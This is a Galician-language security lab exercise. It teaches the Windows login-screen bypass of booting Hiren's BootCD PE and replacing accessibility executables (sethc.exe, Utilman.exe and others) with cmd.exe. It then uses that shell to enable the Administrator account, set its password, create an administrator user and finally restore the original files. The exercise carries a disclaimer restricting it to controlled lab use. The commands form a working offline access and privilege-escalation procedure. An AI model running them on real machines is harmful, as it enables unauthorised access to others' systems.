Práctica Seguridade Informática
Allow Boot dispositivo extraíble: CD/DVD/USB

ESCENARIO

Máquina virtual ou física:
RAM ≤ 2048MB CPU ≤ 2 PAE/NX habilitado
Sistema operativo instalado: Microsoft Windows 64bits
ISO/CD/DVD/USB: Hiren's BootCD PE
BIOS: Permite arranque dispositivo extraíble: CD/DVD, USB

Táboa. Combinación de teclas

Executable C:\Windows\System32	Atallos de teclado	Descrición
sethc.exe	Premer 5 veces a tecla Shift (Maiúsculas): <⇧>	Teclas especiais (Accesibilidade)
Magnify.exe	Premer a mesmo tempo a tecla Windows e a tecla símbolo suma: <Windows>+<+>	Lupa
Narrator.exe	Premer ao mesmo tempo as 3 teclas: <Windows>+<Ctrl>+<Enter>	Axuda narrador lendo en voz alta
osk.exe	Premer ao mesmo tempo as 3 teclas: <Windows>+<Ctrl>+<o>	Teclado en pantalla
Utilman.exe	Premer ao mesmo tempo as teclas: <Windows>+<u>	Utilidades

LIMITACIÓN DE RESPONSABILIDADE O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información exposta no mesmo. Por tanto, non se fai responsable en ningún caso, nin pode ser considerado legalmente responsable en ningún caso, das consecuencias que poidan derivarse da información contida nel ou que esté enlazada dende ou hacia el, incluíndo os posibles erros e información incorrecta existentes, información difamatoria, así como das consecuencias que se poidan derivar sobre a súa aplicación en sistemas de información reais e/ou virtuais. Este documento foi xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso correspondente do administrador desas contornas.

NOTAS:

- **Instalación por defecto**: A instalación do sistema operativo Microsoft Windows realizouse por defecto, é dicir, seguindo os pasos do instalador,
- **Apagado normal do sistema operativo**: Para un correcto funcionamento da práctica o sistema operativo Microsoft Windows debe ser apagado sen inconsistencias evitando problemas no sistema de ficheiros NTFS.
- **URL - Métodos abreviados de teclado de Windows**

Práctica

Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado

1. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

2. **Apagado normal do sistema operativo**: Para un correcto funcionamento da práctica o sistema operativo Microsoft Windows debe ser apagado sen inconsistencias evitando problemas no sistema de ficheiros NTFS.

Arrancar co Hiren's BootCD PE (Windows 10 PEx64)

3. Cambiar ao idioma español:
   A. Na contorna gráfica, no escritorio, dobre clic na icona "Change Keyboard Layout"
   B. No terminal que se abre escribir 147 e premer a tecla ⏎ para escoller o idioma Spanish
   C. Premer calquera tecla para rematar o proceso.

4. Na contorna gráfica abrir un terminal cmd e executar:

   > c: #Acceder á partición C: (sistema operativo Microsoft Windows)
   > cd Windows\System32 #Acceder ao directorio do sistemas operativo Microsoft Windows C:\Windows\System32
   > for %i in (sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe) do move %i old.%i #Mover os executables **sethc.exe**, **Magnify.exe**, **Narrator**, **osk.exe** e **Utilman.exe** a **old.sethc.exe**, **old.Magnify.exe**, **old.Narrator**, **old.osk.exe** e **old.Utilman.exe** respectivamente
   > for %i in (sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe) do copy /y cmd.exe %i #Copiar sen petición de confirmación o executable **cmd.exe** en **sethc.exe**, **Magnify.exe**, **Narrator**, **osk.exe** e **Utilman.exe**
   > shutdown /r /t 0 #Apagar a máquina enviando o sinal de apagado en 0 segundos

Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado

5. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

6. Na consola que aparece executar e indicar que fan os seguintes comandos:

```
whoami
net help user
net user
net user administrador
net user administrador /active:yes
net user administrador abc123.
net user testing abc123. /add /logonpasswordchg:no
net user
net user testing
net help localgroup
net localgroup
net localgroup usuarios
net localgroup administradores
net localgroup administradores testing /add
net localgroup administradores
net user testing
net localgroup usuarios
net localgroup usuarios testing /delete
net localgroup usuarios
net user testing
```

7. Acceder co usuario ***testing*** e probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

8. Acceder co usuario ***administrador*** e probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

9. **Apagado normal do sistema operativo**: Para un correcto funcionamento da práctica o sistema operativo Microsoft Windows debe ser apagado sen inconsistencias evitando problemas no sistema de ficheiros NTFS.

Arrancar co Hiren's BootCD PE (Windows 10 PEx64)

10. Cambiar ao idioma español:
    A. Na contorna gráfica, no escritorio, dobre clic na icona "Change Keyboard Layout"
    B. No terminal que se abre escribir 147 e premer a tecla ⏎ para escoller o idioma Spanish
    C. Premer calquera tecla para rematar o proceso.

11. Na contorna gráfica abrir un terminal cmd e executar:

    > c: #Acceder á partición C: (sistema operativo Microsoft Windows)
    > cd Windows\System32 #Acceder ao directorio do sistemas operativo Microsoft Windows C:\Windows\System32
    > for %i in (sethc.exe Magnify.exe Narrator.exe osk.exe Utilman.exe) do move old.%i %i #Mover os executables **old.sethc.exe**, **old.Magnify.exe**, **old.Narrator**, **old.osk.exe** e **old.Utilman.exe** a **sethc.exe**, **Magnify.exe**, **Narrator**, **osk.exe** e **Utilman.exe** respectivamente, é dicir, devolver ao estado orixinal os executables que foron cambiados por **cmd.exe**
    > shutdown /r /t 0 #Apagar a máquina enviando o sinal de apagado en 0 segundos

Arrancar a máquina Windows dende o disco duro sen o dispositivo extraíble conectado

12. Antes de iniciar sesión con calquera usuario probar o exposto na **Táboa. Combinación de teclas**. Indicar que acontece.

Ricardo Feijoo Costa